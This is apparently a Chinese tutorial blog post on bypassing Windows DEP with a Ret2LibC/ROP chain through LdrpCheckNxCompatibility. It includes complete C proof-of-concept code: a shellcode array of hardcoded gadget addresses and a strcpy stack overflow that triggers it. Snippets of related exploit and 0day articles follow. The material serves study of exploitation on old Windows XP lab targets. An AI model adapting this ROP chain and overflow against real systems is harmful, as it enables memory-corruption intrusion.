        一般而言,这个空档会用进程空间中jmp esp指令的地址填补,使得关闭DEP后,shellcode进入堆栈继续执行。注意LdrpCheckNxCompatibility函数末尾的retn 4指令使得esp指向0x12FF8c,因此shellcode最终会从此处开始执行:

    下图是我搜索到的jmp esp的地址,将这个地址填补前面提到的空档。


    当jmp esp执行后,eip从堆栈中取指令运行,Ret2LibC成功。


    最后贴上我的代码:

    #include <windows.h>
    
    /* shellcode内容注释
    \x52\xe2\x92\x7c->mov al,0x01;ret;
    \x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
    \x19\x4a\x97\x7c->retn 0x28
    \x13\x98\xd1\x7d->jmp esp
    \x24\xcd\x93\x7c->关闭DEP
    */
    
    char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\
    					"\x52\xe2\x92\x7c"\
    					"\x85\x8b\x1d\x5d"\
    					"\x19\x4a\x97\x7c"\
    					"\x13\x98\xd1\x7d"\
    					"\x24\xcd\x93\x7c"\
    					"\x90\x90\x90\x90"};
    
    int test()
    {
    	char arry[4] = {0};
    	strcpy(arry,shellcode);
    	return 0;
    }
    
    int main()
    {
    	HMODULE hMod = LoadLibrary("shell32.dll");
    	test();
    }



    展开全文
  • 下面是根据ODAY做的一个总结: windows2000:基本没有什么安全机制,是很好的实验靶机 XP:GS(安全cookie) + 变量重排(在编译时将字符串变量移动到高地址,防止字符串溢出破坏其他的局部变量) + SafeSEH(SEH句柄...
  • 下面是根据ODAY做的一个总结: windows2000:基本没有什么安全机制,是很好的实验靶机 XP :GS(安全cookie) + 变量重排(在编译时将字符串变量移动到高地址,防止字符串溢出破坏其他的局部变量) + ...
  • 接上回,还剩几条跳转的指令还没分析到,这些指令将在本篇中完成。  先来看看call/jmp [ebp-0x4]这条指令。这是在当前函数_except_handler4栈的局部变量,因此需要查看反汇编代码: 0:000> uf ntdll!...
  • 看到这一章我又抓狂了:作者提及从进程空间类型为Map的映射文件中寻找如下指令地址: call/jmp dword ptr[esp+0x8] call/jmp dword ptr[esp+0x14] call/jmp dword ptr[esp+0x1c] call/jmp dword ptr[esp+0x2c] ...
  • 一、DNS介绍 DNS域名系统是互联网关键的基础设施之一,它是一个将域名与IP地址互相映射的全球分布...对于恶意DNS的过滤、检测恶意网站域名、僵尸网络和网络隐秘通道发现是安全防护设备中必不可少的一种手...
  • 千博企业网站管理系统 Oday入侵 千博企业网站管理安全检测
  • 自己看看吧,绝对的精品,分有点高,要不要就看你的喽呵呵。绝对是精品哦,想学习网络安全的来了啊...
  • Dede系统oday漏洞临时修补方法

    千次阅读 2011-10-06 17:59:55
    关于Dede系统oday漏洞临时修补方法!   以下情况适用于站点已经被入侵的.  一.使用你能够使用的方法,将代码,以及恶意文件,或者还有后门等代码,清除掉,这一刻,希望你有备份网站的习惯!  二.当你的站点恢复...
  • 内容包括《 oday安全:软件漏洞分析技术》11.7节作者未提供的漏洞程序:flashplayer9.0.124、IE7、flashplayer_uninstall。
  • FLASH今年最新的可利用的ODAY,再次爆发。特发此简单利用的生成器。 可以用来测试自己机器的安全性,不可用于非法! 提供下载地址http://down.51cto.com/data/192326 无51cto号的,到...
  • Gray安全系列

    2013-05-18 23:04:56
    Gray安全系列 oday利用 利用oday入侵各种网站 绝对给力
  • 国内安全厂商金山和360的技术专家均已确认了这两个漏洞的存在,一旦受到黑客攻击,数千万瑞星用户将丧失对木马病毒的 防御能力,并将导致国内大批政府与企业内网的信息安全面临严重威胁。 www.hack6.com 曝光者说...
  • 感觉看雪论坛的出版的《0day安全:软件漏洞分析技术》这本书不错,特拿出来分享: http://pan.baidu.com/share/link?shareid=424435&uk=389296605 什么是oday技术:(详细谷歌) 0day泛指所有在官方发布该...
  • 最近几天拦截到利用Adobe Flash Player SWF文件漏洞的网马,该网马通过网页加载一个正常的FLASH文件,再在那个FLASH文件里调用嵌入恶意构造的FLASH文件,这时会导致溢出,从而可能执行任意指令。...转自:知道安全
  • VirtualFunction.zip

    2020-04-08 10:49:46
    oday安全:软件漏洞分析技术第6章第3小节攻击C++虚函数的实验,没有使用溢出,修改读入数据中的几处关键值,运行自己shellcode。有兴趣的小伙伴尝试一下。
  • 5月19日参加完公司举办的运动会,回到家中一直比较兴奋,快凌晨1点了还睡不着,于是打开笔记本来试试之前看到的一个商城Oday漏洞,想检验一下自家商城是否中枪。由于家中的电脑平时只是用来听歌,仅装了一个Chrome...
  • 通过设置编译器选项禁止对strcpy( )、strcat( )等函数内联,这样就可以从汇编代码轻松识别出来,人眼观看《oday安全:软件漏洞分析技术》中漏洞利用例子流程更清晰。

空空如也

空空如也

1 2 3 4 5 ... 18
收藏数 351
精华内容 140
热门标签
关键字:

oday安全